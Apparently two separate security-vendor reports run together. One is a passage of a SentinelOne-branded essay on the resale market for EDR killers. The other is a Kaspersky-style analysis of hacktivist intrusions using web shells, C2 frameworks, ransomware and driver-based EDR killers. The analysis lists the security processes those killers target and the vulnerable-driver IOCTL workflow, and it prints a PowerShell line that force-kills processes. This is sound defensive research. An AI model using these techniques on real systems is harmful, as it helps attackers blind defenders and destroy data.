That resale pattern is the whole thesis in one artifact. One crew built the capability, then rented it out to many competing gangs. SentinelLABS traced AvNeutralizer from a single author into the toolkits of half a dozen rival operations. The kill became a commodity input the moment it had a price and a buyer. EDR killing turned into an industry the same way anything does. Someone built it well, and the rest of the market bought rather than rebuilt.

Once a tool has a price, it behaves like any other piece of software for sale. Listings imply buyers. Buyers imply reviews, resale, and pressure to ship the next version. A market does to evasion tooling what it does to everything else. It improves the product on a demand curve you do not control.

Look at the price ladder and the segmentation becomes obvious. A $300 entry point and a $3,000 ceiling on the Terminator tool is not a flat fee. It is tiered pricing, the kind a vendor sets when buyers differ in budget and need. The $4,000 to $15,000 spread on AvNeutralizer sits a tier above it. Cheap tools for low-stakes jobs, premium builds for hardened targets. Pricing tiers are a sign of a market that has matured past one seller and one product.

The naming convention carries its own signal. Sellers brand and version their killers, from Terminator to AvNeutralizer to EDRKillShifter. You do not name and version a tool you intend to use once. You name it because buyers will ask for it again, recommend it, and compare it to the competition. The naming convention is a small detail. It tells you the supply side expects repeat business.

A Market with Many Hands

The economics of the Gentlemen operation tell the rest of the story. Public reporting describes the crew handing affiliates reportedly around 90% of ransom proceeds, with centralized provisioning of the tooling. One outlet framed it as a 10% operator cut against a roughly 20% industry standard. Read that as a vendor incentive. The operators take a small margin and bet on volume, because the platform is where their advantage lives.

That split is the load-bearing number, so it deserves a careful read. A roughly 90% affiliate share is unusually generous for ransomware-as-a-service. The operator is choosing reach over margin per job. You give away most of the take when you expect a very large number of jobs. The economics describe a platform play, sized for scale rather than for any one payout.

The effect is plain once you size it. Centralized provisioning plus a reported 90% share puts kernel-level EDR evasion in the hands of low-skill affiliates. These are people who could never write it themselves. The operator carries the kernel risk. The affiliate carries the ransom note. The suite moves between them on a provisioning channel.

That division of labor is the heart of the business model. Kernel-level evasion is the hardest part of a modern intrusion to build correctly. Concentrating it in one operator and renting it out turns a rare skill into a commodity input. Every affiliate who pays gets a capability that used to gate entry to the trade. The skill floor drops to the price of admission.

Size the model and the logic gets sharper. In conventional ransomware-as-a-service, operators keep a meaningful slice, often around a fifth, to fund development and infrastructure. The Gentlemen operator keeps about a tenth. An operator gives up that much margin for one reason. The affiliate base is large enough that a thin slice still funds the shop. The revenue share is a window into scale the crew otherwise hides.

The provisioning channel reinforces the read. Threat reporting describes the suite as operator-maintained and centrally delivered, not handed over once and forgotten. That is a recurring-service relationship, the kind that throws off recurring revenue. The operator updates the tooling. The affiliate keeps coming back to the same channel. A one-time sale does not behave like that.

I want to be careful here. The rich affiliate split is a strong indicator of how fast this scaled. Calling it a proven cause would overstate the evidence. The honest read is that the economics and the surge move together. The economics make the surge cheap to sustain.

The Supply Chain Underneath the Brand

The same pattern shows up well beyond one crew. SentinelLABS traced AvNeutralizer from FIN7 into Black Basta, AvosLocker, MedusaLocker, BlackCat, Trigona, and LockBit. That is cross-crew reuse at the operator and affiliate level. It happens when the tool is a product an actor buys and carries from job to job.

A secret a single gang hoards does not spread that way. A purchased product does. The AvNeutralizer pattern is the clearest market signal in the whole dataset. One seller, many competing buyers, the same evasion capability flowing to all of them through the actors who pay for it.

The consolidation is not unique to one tool either. Public reporting documented EDRKillShifter, built and maintained by the RansomHub operation. SentinelOne®'s anthology on RansomHub describes a customized EDR killer made available to higher-level members, a tiered affiliate access model. The capability sat behind a membership tier, the way a vendor gates premium features. Higher-paying partners got the better tool.

Operator-built tooling travels under its own banner. The same EDRKillShifter code, first disclosed abusing the RentDrv2 and ThreatFireMonitor drivers, surfaced across multiple ransom-note brands. Whether the tool is rented, bought, or shared, the direction is identical. Evasion has a supplier tier, and it serves more than one storefront.

Notice what survives across these examples. RansomHub-built code outlived its association with any one affiliate. AvNeutralizer kept appearing because buyers across crews kept needing it. The constant in every case is the capability, not the crew. Defenders who chase the crew chase the part of the system that is designed to be replaceable.

This is the non-obvious part. Rival ransomware crews are not real rivals at the layer that hurts defenders. They draw from a shared supplier base for evasion, the way competing retailers buy from the same wholesaler. The brand on the ransom note changes. The thing that turns off your sensor often does not. A defender who maps these crews as separate threats misreads the board.

The market signal in cross-gang reuse is worth naming directly. The same evasion capability appears under many different ransom brands. That tells you the supplier tier consolidated faster than the affiliate tier. A defender watching ransom-note attribution sees diversity. A defender watching the kill technique sees concentration. That concentration is where a defender gains the most ground against the whole market.

What a Market Does that a Binary Does Not

A market scales. That is the entire point of building one. It is why this beats any single piece of malware on reach. A lone operator's tool dies with the operator's attention. A maintained kit with paying affiliates gets patched, re-versioned, and pushed to people who never have to understand it. The variant count, eight and growing, is the signature of a roadmap under active development. SentinelOne's latest Annual Threat Report describes the same machine multiplier across the landscape. Mature automation accelerates intrusions and compresses the window defenders have to respond.

A market also lowers the skill floor. The affiliate buying into a reported 90% split does not need kernel internals. The operator handles that. So the population capable of silencing an enterprise EDR is no longer bounded by who can write kernel exploits. It is bounded by who can pay. That is a far larger group.

A market hardens, too. When a supplier reuses tooling across crews, a takedown of one customer leaves the supplier intact. The detection a defender ships against one campaign may not survive the next build from the same shop. You are facing a software vendor's release cadence. The target moves on a schedule you do not set.

The corroboration runs across many independent shops, which matters for a claim this load-bearing. SentinelLABS documented FIN7's AvNeutralizer spreading across six named gangs. Public reporting traced EDRKillShifter under the RansomHub banner and beyond. SecurityWeek described a successful EDR killer drawing fast interest across the affiliate community as a favored asset. A CVE record (CVE-2025-68947) describes a separate ransomware family bundling a vulnerable NSecsoft driver to terminate more than 30 security processes, a capability that reads as a recruiting selling point. Different families, different reports, one direction. The kill is being marketed and sold.

Defend the Supply Chain That Feeds the Kill

So plan against the industry. The artifact is downstream of it. The instinct to hunt the specific binary, the named driver, the published hash, is what this market defeats. The published indicators, the sample filenames and the mapped techniques, are a snapshot of one release. Treating them as the whole problem is how you stay one version behind.

The durable move is to defend the behavior and the trust relationships the whole market depends on. Every variant in that kit, whatever its name this quarter, has to do the same two things. It loads a driver it does not own. It reaches kernel space to terminate a protected process. That chain is the constant. The supplier can re-skin the binary. The supplier cannot easily re-invent the move.

This is where an AI-native posture earns its place. Detection built into the kernel and reasoned over behavior watches the move itself, past whatever manifest the binary presents. It is built in, not bolted on. The Singularity™ Platform runs on Autonomous Security Intelligence (ASI) for exactly this reason. ASI pairs agentic workflows with human-level reasoning to catch the move itself, whatever manifest the binary presents.

That design watches the behavioral chain itself. Researchers have observed the kill-loop in the open. A masquerading kernel service enumerates processes in a repeating, fixed-interval termination loop. It sends PIDs through an IOCTL so the driver calls a kernel-mode termination routine, bypassing protected-process defenses. Some variants also unregister the EDR's kernel callbacks, a distinct observable that public research has tracked across more than 300 products. A design anchored to that observed chain survives when the indicators rotate and the seller ships a fresh build.

The repeating re-kill loop is itself a defensive opportunity. A tool that hammers a process list on a fixed interval leaves a rhythm in the telemetry that a single hash never reveals. The driver name will change with the next release. The killer still loads an unowned driver and reaches into kernel space to terminate protected processes. That move is the part the supplier cannot cheaply redesign. Watch it and the catalog churn underneath stops mattering as much.

Walk out of this with one frame changed. The EDR killer is a maturing software industry with operators, affiliates, suppliers, and customers. Defenders are the protagonists in that story. The work is to give the advantage to those who secure our future. Plan against the market that funds the kill. The binary that delivered it is only the receipt.

Why This is the Work SentinelOne Exists to Do

The kill is a product now, maintained and resold. The defense cannot be a static signature that ages out with the next build. The Singularity Platform watches the behavioral chain the supplier cannot cheaply redesign. It watches the unowned driver loading and the reach into kernel space to terminate a protected process. Purple AI®, the agentic security analyst at the center of the platform, turns that signal into action. Its Agentic Investigation capability runs zero-click investigations that detect and , verify, and respond on their own, compressing work that once took hours into minutes. When a kit re-skins itself overnight, the platform reasons over what the kit still has to do.

No team watches the console at three in the morning, the hour this market was built to exploit. Wayfinder, SentinelOne's managed detection and response practice, keeps that watch for you. It pairs human threat hunters with the same autonomous investigation and threat intelligence behind the scenes. That is why the company exists. The advantage belongs to the defender, and the platform is built to keep it there even as the supplier ships its next version.

Next in this series: how the kill went from a hobbyist's trick to a maintained industry, traced across a multi-year timeline.

References

1. "The Gentlemen RaaS Uses GentleKiller to Disable EDR Defenses," The Hacker News, June 2026.

2. "GentleKiller: Gentlemen ransomware builds an EDR killer framework," Infosecurity Magazine, 22 June 2026.

3. "Inside GentleKiller: the EDR killer powering the Gentlemen," Security Affairs, June 2026.

4. "Gentlemen Ransomware Gang Standardizes EDR Killing," BankInfoSecurity, June 2026.

5. "RansomHub," SentinelOne Anthology.

6. "Gentlemen ransomware uses multiple EDR killers to disable defenses," BleepingComputer, June 2026.

7. "Exploring Vulnerable Windows Drivers," Cisco Talos, 19 December 2024.

8. "LOLDrivers: Living Off The Land Drivers," Accessed June 2026.

9. "Qilin ransomware's EDR killer," Cisco Talos, 2 April 2026.

10. "Terminator EDR Killer (Spyboy): Detecting and Preventing a Windows BYOVD Attack," SentinelOne (SentinelLABS), updated 27 April 2025.

11. "FIN7 Reboot: Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks." Antonio Cocomazzi, SentinelLABS, 17 July 2024.

12. "Ransomware crews flaunt their EDR-killer wares." The Register, 14 August 2025.

    1. "RansomHub ransomware uses a tool to kill EDR software." Security Affairs.

13. "Annual Threat Report: Defending Against the Industrialization of the Modern Cyber Breach." SentinelOne.

14. "Ransomware Groups Increasingly Adopting EDR Killer Tools." SecurityWeek.

15. "CVE-2025-68947." National Vulnerability Database (NVD).

    1. "Reynolds ransomware uses BYOVD to disable security before encryption." Security Affairs.

16. "Qilin EDR Killer infection chain." SOC Prime, 7 April 2026.

    1. "What Are Bring Your Own Vulnerable Driver (BYOVD) Attacks?" Picus Security.

Third Party Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

While tracking the activities of 4BID we uncovered a new string of campaigns that appear to be the work of several interconnected actors. While politically motivated groups generally limit their scope to specific nations – for 4BID and its peers, primarily Russian and occasionally Belarusian organizations – our latest findings reveal a shift. The actual geographic footprint of these attacks became broader than expected, striking companies across Kazakhstan, the UAE, Syria, and Egypt.

What triggered our investigation was spotting a cluster of indicators of compromise within a breached Russian organization’s infrastructure. We used these footprints to successfully track down other environments hit by the same threat actors and piece together the bigger picture.

This article dives into the software deployed throughout these hacktivist campaigns:

• New ransomware samples
• Scripts used at various stages of the attacks
• Commercially available IT remote monitoring and management (RMM) tools

These include both updated versions of known threat-actor tools and previously unseen software.

Overlapping activity streams

Within the initial organization’s infrastructure, we found numerous activity indicators linked to several interconnected hacktivist groups – which ultimately set the direction for our follow-up analysis. We can attribute the following findings to hacktivist activity with a medium level of confidence:

• Several samples of BlackReaperRAT, which we attribute to the 4BID group, were found alongside scripts designed to download Panorama9 RMM, AnyDesk, and Dev Tunnels.
• Besides the artifacts listed above, we discovered ClearWater ransomware in other compromised infrastructures. Interestingly, during this same window, public sources showed Hakerskii Kit claiming a successful attack on a Russian factory. Also detected in that facility’s infrastructure was ClearWater ransomware, with the attackers publicly thanking the С.A.S. group for their contribution.
• We uncovered several samples of Warp RAT within the hit infrastructures, which we link to the Goffee threat group. A detailed report on this specific activity will be published at a later date.

Technical details

Vulnerable web servers and fd.aspx

Analysis of the compromised environments revealed that the attackers gained initial access in most cases by exploiting the ProxyShell vulnerability in Microsoft Exchange, which allows for full server compromise.

Once inside, the attackers deployed the fd.aspx web shell – a modular ASP.NET file designed for remote control, file transfers, and system reconnaissance. Communication with the web shell relied on a basic security check: if the key parameter in an incoming request failed to match the AUTH_KEY constant, fd.aspx simply returned “Access Denied”.

Access key verification

If the verification was successful, the command contained in the request’s scriptText parameter was passed directly to PowerShell, and the output returned to the operator in the body of the HTTP response. In environments where PowerShell execution was restricted, the web shell swapped it out for cmd.exe. The CreateNoWindow: true and UseShellExecute: false flags were used to keep the command execution hidden from the user.

Beyond running commands, the web shell features bidirectional Base64-encoded file transfers. This allows any binary data – like executables, archives, or certificates – to be passed right inside the body of an HTTP request. The UploadFile function writes files to any directory the web server process can access, which makes it easy to drop additional shells or swap out legitimate files. The DownloadFile function exfiltrates any accessible file from the compromised system back to the attackers’ C2 server.

The web shell also includes a system reconnaissance feature that grabs the following data points:

• OSVersion: operating system version
• MachineName: hostname
• UserName: current username
• UserDomainName: domain name
• ProcessorCount: number of processors
• SystemDirectory: system directory path
• CurrentDirectory: current working directory
• Version: .NET Framework version

Additionally, the reconnaissance feature uses the DriveInfo.GetDrives() function to enumerate running processes and map out connected drives – along with the amount of free space available on each. This file system reconnaissance is topped off with LastWriteTime metadata for each object, which helps the operator quickly spot recently modified files and get their bearings within the storage layout.

Alongside the web shells, we encountered a variety of scripts and C2 frameworks across all compromised infrastructures, which we break down below.

Scripts deployed

Once the attackers gained control over a target system, they moved on to the next phase: loading their required toolkit via custom scripts. Variations of these scripts were consistently found alongside fd.aspx on compromised hosts. Most of them interact with legitimate tools, which makes them look almost identical to routine administrative scripts at first glance. The only real giveaway is the code comments, written in Ukrainian. One such script is responsible for deploying AnyDesk on the compromised host.

The build quality of these scripts is worth discussing separately. Several of them show telltale signs of AI generation; inside some compromised systems, we found multiple iterations of the exact same script, a few of which were completely broken. AI-generated code typically fails to work out of the box and requires manual tweaking to run properly.

First, the script checks for admin privileges, as it cannot proceed without them. If that check passes, it looks for an active anydesk.exe process. If the process is missing, the script fetches and installs the application directly from the official website. Once AnyDesk is successfully installed, the script configures an unattended access password and pulls the unique AnyDesk ID. All the collected details are compiled into a report and exfiltrated to the attackers’ server at 185.221.153[.]121. Because we spotted simultaneous activity from multiple groups – 4BID, Hakerskii Kit, and C.A.S. – on the analyzed hosts, this IP address could potentially belong to any one of them.

Besides AnyDesk, the threat actors leverage other legitimate tools. One example is Microsoft Dev Tunnels, a Microsoft service that exposes a local server to the internet. It’s brought into the system by a separate script that, much like the one for AnyDesk, checks if the utility is already present before downloading it from the official site. In certain instances, the utility was fetched directly from the attackers’ server instead:

Once installed, the application runs, and the resulting connection details are saved to a file named login.txt. The contents of this file consist of standard instructions for using a provided code to authenticate on a Microsoft page through a web browser.

To sign in, use a web browser to open https://login.microsoft.com/device and enter the code [CODE].

As a final step, the script opens up the required ports and creates the tunnel, giving the attackers a back door into the compromised host.

Another script we uncovered handles the installation of Panorama9, a legitimate remote monitoring and management utility. Immediately after downloading that application, the attackers configure it via the registry to hide both its system tray icon and its installation folder. To camouflage the Panorama9 services, the attackers rename them to Windows Update Helper and Windows Update Helper Cache and swap out their descriptions, making the utility look almost identical to standard system components. Once the utility finishes its job, the script clears its tracks.

The attackers used a dedicated script to establish persistence on the system. When executed, it used the net user command to spin up a local user account and then hid it via the registry. The script added this new user to every available local group; if the machine was domain-joined, it also attempted to inject the user into all Active Directory groups.

At the same time, the script tweaked RDP settings: it set the minimum encryption level through the registry, added a firewall rule to allow port 3389, and ran the relevant services.

After it wrapped up its main tasks, the script wiped the event logs, command history, temporary files, and finally itself. Once the attackers got what they wanted out of the infected host, they triggered another script that removed the previously created user account, cleaned out the registry keys generated during the earlier phases, and then deleted itself as well.

The scripts described here are just the most telling examples out of dozens of samples we found. An analysis of the attackers’ toolkit reveals a clear trend: they aren’t just fine-tuning the solutions they’ve used in the past (specifically, the AnyDesk deployment script), but are actively broadening their arsenal with new tools like Panorama9, Dev Tunnels, and others.

Publicly available utilities

As previously mentioned, the attackers leverage a broad spectrum of dual-use public software, such as all kinds of remote monitoring and management utilities. While they use the scripts discussed above to drop some of the utilities onto systems, we didn’t encounter scripts for others, so we can’t confirm whether any exist. We observed the following tools deployed across the campaigns in question:

• AnyDesk: a remote administration tool
• Advanced IP Scanner: a network scanning utility
• Dev Tunnels: a Microsoft service used for exposing a server to the internet
• Panorama9: an IT infrastructure management and monitoring service
• Nezha Monitoring: a server status monitoring utility
• Tactical RMM: a remote monitoring and management tool

C2 and communications

To gain a foothold in the victim’s infrastructure, the attackers relied on several post-exploitation frameworks. Some of these are publicly available utilities, while others are custom-built.

Among the publicly available tools in the group’s arsenal are:

• Sliver
• Havoc
• Apollo Mythic
• Adaptix

We also discovered a previously undocumented backdoor, dubbed BlackSalt, which contacts the C2 server to fetch commands and executes them via cmd.exe.

Sliver

On several hosts, following the initial Microsoft Exchange server compromise, files named upd.exe, winhost.exe, update1.exe, update.exe, and akolo.exe were dropped alongside the previously mentioned fd.aspx files and scripts. All of them were located in the C:\Windows\System32\inetsrv\ directory and were configured as SFX archives with nearly identical payloads, which ran an install.bat script upon extraction.

Contents of the SFX archive

The install.bat script contents

The script copies the malicious components into the Windows folder and installs servicechecker.bat as a system service. To do this, it leverages the legitimate Windows Service Wrapper (WinSW) utility included in the archive under the filename backupsrv.exe. The archive also contains the WinSW configuration file, backupsrv.xml, which specifies exactly which script should be registered as a service. Once installed, servicechecker.bat is configured to run automatically on system boot.

The servicechecker.bat script, in turn, runs backupagnt.exe, a loader for the main malicious component housed in WindowsInternal.UpdateComponent.dll. This file was built with the help of the Donut utility and is encrypted with a simple single-byte XOR key (0x0F). Its primary job is to inject the Sliver code straight into the device’s memory.

The backupagnt.exe loader code

All Sliver instances uncovered during this investigation were configured to communicate with the C2 server at 185.221.153[.]121 over mTLS.

Havoc

Inside a similar SFX archive located in the user directory $user\desktop\ under the filename demon.x64.exe, we found another post-exploitation framework: Havoc. This instance was configured to communicate with the C2 server at 77.72.85[.]62.

Apollo

Mythic Apollo is a cross-platform post-exploitation agent used within the Mythic framework to manage compromised systems. It provides a persistent connection to the C2 server, executes operator commands, handles file uploads/downloads, runs arbitrary code, and supports expansion via plugins. We previously provided a detailed breakdown of the Mythic framework in our post, Hunting for Mythic in Network Traffic.

Here is an example of the Mythic Apollo configuration we encountered in these hacktivist attacks:

This specific sample of the .NET Mythic Apollo agent was compiled with an extensive suite of modules and supports multiple transport profiles that enable communication via HTTP, TCP, WebSocket, SMB, named pipes, and web shells. The C2 address 77.72.85[.]62 is hardcoded into its configuration.

Adaptix

AdaptixC2 is another post-exploitation framework in the attackers’ arsenal. This is a relatively new open-source project, which we broke down in our post, Adapt or pay:an analysis of the AdaptixC2 framework.

The agent samples discovered during our investigation into these hacktivist campaigns consist of a packed AdaptixC2 Beacon delivered via a custom x64 loader. Upon execution, the payload decrypts an embedded shellcode, allocates memory, and executes the malicious payload using the CreateThread WinAPI function. Packed inside the shellcode is the AdaptixC2 Beacon agent in DLL format, featuring a configuration encrypted using RC4.

According to the AdaptixC2 classification system, this agent falls under the BEACON_HTTP type. It is capable of executing commands, performing file operations, enumerating and killing processes, launching new programs, and exfiltrating data back to the C2. It also supports SOCKS port forwarding and BOF modules.

AdaptixC2 uses encryption to keep its configuration under wraps. The corresponding block contains the data size, the actual RC4-encrypted configuration, and a 16-byte key.

Example agent configuration

Example of agent requests pinging the C2 address, as flagged by Kaspersky solutions and displayed in Kaspersky Threat Lookup

BlackSalt Backdoor

During the investigation, we also came across target infrastructures running vulnerable versions of Microsoft Exchange where – much like the Sliver cases – SFX archives named WindowsServiceHelper.exe were discovered in the C:\Windows\System32\inetsrv\ directory. Once extracted, the archive executed an install.bat file.

SFX archive contents (09d0517a1f69feff8186655ae3b567e0)

The install.bat script contents

Similar to the other archives of this type, the script uses the WinSW utility to install the malicious components. In this specific case, however, the primary payload is a file named svc.exe, which turns out to be an obfuscated backdoor written in VBS. Much like the deployment scripts used for the remote management utilities, the code of this setup BAT script was clearly put together with AI tools and features comments in Ukrainian.

Main backdoor loop

The backdoor is essentially a textbook reverse shell. Its capabilities boil down to fetching commands from the C2 server at 45.150.109[.]2, executing them via cmd.exe, and piping the output back to the C2.

EDR killers

In their attacks, the threat actors deploy what are known as EDR killers: malicious tools designed to disable security software on the system. In the vast majority of cases, these utilities rely on the BYOVD technique.

On the hosts compromised during these hacktivist operations, we discovered samples named kil.exe and Killer.exe. These are modified versions of the public, Rust-based BYOVD project EDRKiller. The attackers streamlined the utility to act strictly as a client for the driver and expanded the hardcoded list of security processes to terminate. The sample targets the vulnerable Warsaw_PM driver, though it lacks the functionality to load the driver itself – the attackers drop it onto the system separately.

The general workflow plays out as follows:

1. In user mode, the program finds the PID of the target process.
2. It opens a handle to \\.\Warsaw_PM.
3. It constructs a buffer containing the target process’s PID.
4. It calls DeviceIoControl.
5. The driver executes the calls:
   • ZwOpenProcess;
   • ZwTerminateProcess.

The EDR killer continuously enumerates processes, repeatedly sending the IOCTL and terminating the target processes every single time they pop up.

Example of the process list storage inside the EDR killer

Both kil.exe and Killer.exe share the exact same list of processes targeted for termination:

MsMpEng.exe, SenseIR.exe, SenseNdr.exe, SenseCncProxy.exe, SenseSampleUploader.exe, NisSrv.exe, avp.exe, kavfs.exe, bdagent.exe, bdservicehost.exe, vsserv.exe, AvastSvc.exe, AvastUI.exe, aswidsagent.exe, avgsvc.exe, mfemms.exe, mfefire.exe, mfevtps.exe, dwengine.exe, dwservice.exe, elastic-agent.exe, elastic-endpoint.exe, Sysmon.exe, wazuh-agent.exe, ipban.exe

Another utility used to kill security software processes is ghostdriver.exe, an unmodified build of the open-source project GhostDriver. In this case, the attackers simply pulled a version straight from GitHub and didn’t modify any of its code.

Example of output from the GhostDriver utility

The tool operates through the following stages:

1. Identify target processes
   The program takes a list of process names (such as msmpeng.exe) via command-line arguments. If no list is specified, it falls back to a default set.
2. Enumerate system processes
   To locate PIDs, the tool relies on standard Windows APIs:
   • CreateToolhelp32Snapshot
   • Process32First
   • Process32Next
3. Generate a list of processes to kill.
4. Load the vulnerable driver
   This is the core phase of the utility’s operation. During this step:
   • The sys driver is written to disk.
   • A SERVICE_KERNEL_DRIVER type service is created.
   • The driver is kicked off via the Service Control Manager (SCM).

GhostDriver.sys is hardcoded inside the GhostDriver executable and is a binary driver known as RentDrv2 (BadRentdrv2).

It contains the CVE-2023-44976 vulnerability, which allows it to:

• Accept user-mode commands via DeviceIoControl.
• Perform operations on processes from kernel mode.
• Bypass security mechanisms, including Protected Process.

Upon execution, GhostDriver drops RentDrv2 to disk, loads it into the Windows kernel, and connects to it via the virtual device \\.\rentdrv2. The utility then issues command 0x22E010 to the driver, passing along the target process ID, and the driver terminates that process directly from kernel mode.

GhostDriver runs in a continuous loop. Every ~700 ms, it rescans for the target processes and sends out termination commands.

After the driver starts up, the utility attempts to delete the ghostdriver.sys file. To do this, it opens a file handle, uses the SetFileInformationByHandle WinAPI function to rename it to something like :GhostDriver, reopens the handle, and marks the file for deletion via FileDispositionInfo. Before wrapping up, it also tries to stop and remove the driver service, and delete the C:\rentdrv.log file where the driver writes its logs.

Example of the adversary command execution launching GhostDriver:

Current versions of Kaspersky products are resilient to these types of attacks: the utilities described in this post cannot terminate their processes.

Connection to the ClearWater ransomware

Alongside the previously described Mythic Apollo samples (C2: 77.72.85.62), backupagnt.exe loaders, and Panorama9 deployment scripts, we discovered a new ransomware strain named ClearWater across several compromised infrastructures. Written in C++ and compiled with GCC (MinGW), the sample is a 64-bit Windows executable. It features zero obfuscation; in fact, the binary wasn’t stripped of its DWARF debug information. This makes analyzing the sample significantly easier and points to either sloppiness or a lack of technical expertise on the developers’ part.

Original function names preserved within the Trojan’s body

When executed, ClearWater logs its progress in a separate console window.

The console window displayed upon launching the Trojan

File encryption

Like most ransomware strains, ClearWater is a Trojan designed to locate and encrypt the victim’s files. The Trojan executable contains a hardcoded RSA-2048 primary public key in PEM format.

For every file it processes, the ransomware generates a new 32-byte key and a 12-byte nonce – though only 8 of those 12 bytes are actually used – and encrypts the file’s contents via the ChaCha20 symmetric algorithm. The ChaCha key is then RSA-encrypted and appended to a specific data structure at the end of the file. To pull this off, the malware leverages cryptographic implementations from the open-source libsodium library.

struct
{
	uint8_t label[4];			//'M', 'Y', 'E', 'K' marker
	uint32_t rsa_encr_size;		//size of RSA-encrypted data
	uint8_t rsa_encr_data[256];	//RSA-encrypted ChaCha key
};

The Trojan processes all files except those with a .txt extension. This approach can easily break installed software, as it blindly encrypts both libraries and executables; however, it does explicitly skip the system directory during its search. Encrypted files are additionally appended with the .clear extension. The malware scans for targets on local drives as well as SMB network shares, which it maps out by using the net view command.

Additional functionality

Within every directory it processes, the Trojan drops the attackers’ demands into a file named CLEARWATER_README.txt.

Ransom note:

Additionally, by modifying the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, the malware sets up a persistence mechanism that automatically opens the ransom note with notepad.exe on startup.

ClearWater is distributed inside a self-extracting archive. The extraction script runs in silent mode (GUIMode=”2″), escalates privileges via a UAC prompt, drops the Trojan at C:\ProgramData\ClearWater_x64.exe, and kicks it off. Once the ransomware finishes running, the SFX archive cleans up after itself and wipes the original archive (SelfDelete=”1″).

Alongside this script and the Trojan executable, the archive includes a BMP image. The ransomware sets this image as both the desktop wallpaper (by tweaking the HKEY_USERS\<…>\Control Panel\Desktop\Wallpaper registry key and calling SystemParametersInfoA with the SPI_SETDESKWALLPAPER parameter) and the lock screen background (by modifying the LockScreenImagePath and LockScreenImageUrl values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP).

Two variants of the desktop and lock screen image

To complicate system recovery after the attack, ClearWater performs several actions typical of ransomware:

• Deletes shadow copies using the following commands:
  
• Wipes the backup catalog and disables Windows Restore:
  
• Removes restore points:
  
• Disables the system startup recovery option:
  

ClearWater also features a kill_all_non_whitelisted_processes() function designed to terminate active tasks, though it doesn’t actually call it during execution. This function leverages PowerShell to look up and kill any process whose name isn’t included in a hardcoded allowlist within the Trojan’s body. It uses the following PowerShell code to do this:

Get-Process|Where-Object{$w -notcontains $_.Name.ToLower()}|Stop-Process -Force

The exclusion list contains various essential system processes and breaks down as follows:

system, idle, smss, csrss, wininit, services, lsass, winlogon, svchost, explorer, dwm, shellexperiencehost, runtimebroker, trustedinstaller, tiworker, textinputhost, taskhostw, mousocoreworker, fontdrvhost, audiodg, sihost, spoolsv, taskeng, taskhost, searchui, securityhealthservice, startmenuexperiencehost, searchindexer, backgroundtaskhost, sppsvc, wmiprvse, wudfhost, vboxservice, vboxtray, vmtoolsd, vmwaretray, vboxguest, vmsrvc, vgauthservice, vmacthlp, qemud, qemu-ga, msdtc, searchprotocolhost, wlanext, dllhost, conhost, comppkgsrv, msmpeng, mssecflt, systemsettings, securityhealthsystray, nvtray, nvvsvc, ravbg64, igfxtray, igfxem, igfxcuiservice, igfxhk, igfxext

Updated Blackout Locker

In a previously published report (link in Russian) on collaborations between several hacktivist groups, we highlighted a tool called Blackout Locker. In late January 2026, the 4BID group ran a series of attacks against organizations in Russia using an updated version of this malware. This section breaks down the new version of Blackout Locker and covers its key characteristics uncovered during our analysis.

Rust dropper

The attackers use a dropper written in Rust to distribute Blackout Locker. Depending on the specific sample, the dropper first carries out a series of staging actions. It then writes the payload executable to …\Users\[USERNAME]\AppData\Local\Microsoft\[REDACTED].dat and swaps its extension to EXE by calling the Windows command prompt:

After that, it launches the renamed executable.

Blackout Locker

The primary tool deployed in the attacks in question is an updated version of Blackout Locker.

Our analysis revealed that the key difference in this new version is the addition of a screen locker component, which it drops and executes in tandem with the ransomware’s main background payload.

During the initial phase, the screen locker file is created under the following paths:

To launch the screen locker, several tasks are created:

The screen locker is also written to the following registry keys:

After this, two LNK files, SystemHelper.lnk and WindowsHelper.lnk, are created via PowerShell for subsequent execution:

• The first file is placed in the %PROFILEPATH%\All users\Start menu\Programs\Startup directory:
  
• The second file is placed in the %USERPROFILE%\Start menu\Programs\Startup directory:
  

As a result, a shortcut is created in the startup folder pointing to WindowsSystemHelper.exe located on the desktop. This ensures the screen locker appears every time the user logs in. Even if the victim enters the correct password into the locker window, it will keep popping back up; while the window itself closes after password entry, the corresponding task is never actually deleted.

Screen locker

During execution, Blackout Locker generates a file named README.txt, which the screen locker later references to pull the text displayed to the user. Some Blackout Locker samples drop a ransom note written in English:

On the lock screen, it may look like this:

Other samples deploy a ransom note in Russian:

If the program fails to read README.txt, it falls back to a hardcoded ransom message. If this fallback message is in Russian but the victim’s operating system lacks support for Cyrillic encodings, the loader’s on-screen output renders as garbled text.

Attack geography

The majority of the compromised infrastructures belong to Russian and Belarusian organizations, which aligns with the stated agenda of these hacker groups. However, for the first time, we identified victims in other countries with no relation to this agenda: Kazakhstan, the UAE, Syria, and Egypt. Within the network of a Kazakh aviation company, we detected multiple post-exploitation frameworks pointing to C2 servers at 77.72.85[.]62 and 185.221.153[.]121, traces of the Panorama9 and Tactical RMM platforms, and backupagnt.exe loaders. A similar footprint was observed in the infrastructure of an Egyptian hospital, though the familiar toolkit was augmented by the fd.aspx web shell. The remaining international victims exhibited a nearly identical combination of artifacts, with only minor variations.

While the primary targeting vector previously centered on Russia and Belarus, the threat actors now appear to be pivoting their attention toward the wider CIS region and the Middle East. This strategic shift correlates with a statement from a member of the 4BID group, who claimed that attacking Russia is no longer profitable.

Takeaways

The hacktivist groups discussed in this report are steadily expanding the geographical footprint of their campaigns, pushing beyond Russia and the wider CIS region. Alongside this expansion, we observe the growing use of ransomware and other tooling consistent with financially motivated operations, which may further influence their choice of victims.

This shift underscores the critical need for continuous threat landscape monitoring. To stay ahead of threat actors, organizations must look beyond the immediate risks facing their perimeter and proactively track emerging threats, including the tactics of groups targeting specific industry verticals or geographic regions.

Detection by Kaspersky solutions

Kaspersky solutions reliably detect the malicious activity in question at every stage of the malware lifecycle. This section outlines potential detection scenarios.
Publicly available dual-use software leaves numerous artifacts on targeted hosts, which helps Kaspersky Endpoint Detection and Response Expert trace the activity of these utilities.

For instance, network connections established with Panorama9 servers both during the initial software launch and throughout the tool’s operation trigger the panorama9_dns_activity rule. The Hunt Hub section of our TI Portal features detection rules for other event types and specific operating systems, searchable with the keyword panorama9. Similar rules exist for the other utilities described in this post: Tactical RMM, Nezha, and Dev tunnels.

GhostDriver.exe relies on an embedded vulnerable driver, which it drops onto the target host. The creation of these drivers is detected by the vuln_driver_created_by_unsigned_process rule family.

